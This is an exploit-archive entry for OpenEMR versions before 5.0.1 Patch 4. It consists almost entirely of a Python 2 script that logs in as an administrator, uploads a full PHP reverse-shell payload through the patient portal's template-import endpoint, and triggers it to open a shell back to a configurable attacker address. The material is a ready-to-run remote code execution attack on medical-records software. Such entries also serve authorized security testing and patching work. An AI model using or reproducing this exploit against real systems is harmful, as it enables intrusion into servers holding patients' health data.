OpenEMR 5.0.1 – Remote Code Execution (1)
# Title: OpenEMR 5.0.1 - Remote Code Execution (1) # Exploit Author: Musyoka Ian # Date: 2020-05-25 # Title: OpenEMR < 5.0.1 - Remote Code Execution # Vendor Homepage: https://www.open-emr.org/ # Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz # Dockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile # Version: < 5.0.1 (Patch 4) # Tested on: Ubuntu LAMP, OpenEMR Version 5.0.1.3 # References: https://medium.com/@musyokaian/openemr-version-5-0-1-remote-code-execution-vulnerability-2f8fd8644a69 # openemr_exploit.py #!/usr/bin/env python2 # -*- coding: utf-8 -*- import requests import time auth = "[+] Authentication with credentials provided please be patient" upload = "[+] Uploading a payload it will take a minute" netcat = "[+] You should be getting a shell" s = requests.Session() payload = {'site': 'default', 'mode' : 'save', 'docid' : 'shell.php', 'content' : """<?php set_time_limit (0); $VERSION = "1.0"; $ip = '127.0.0.1'; # CHANGE THIS $port = 9001; # CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; // // Daemonise ourself if possible to avoid zombies later // // pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // // Do the reverse shell... // // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$string\n"; } } ?> """} print (auth) url = "http://localhost/openemr/interface/main/main_screen.php?auth=login&site=default" data= { 'new_login_session_management' : '1', 'authProvider' : 'Default', 'authUser' : 'admin', # change this to the the appropriate username 'clearPass' : 'password123', # change this to the appropriate password 'languageChoice' : '1', } response = s.post(url, data=data,).text time.sleep(2) print (upload) time.sleep(2) resp = s.post("http://localhost/openemr/portal/import_template.php?site=default", data = payload) time.sleep(2) print (netcat) rev_shell = s.get("http://localhost/openemr/portal/shell.php") print (rev_shell.text) |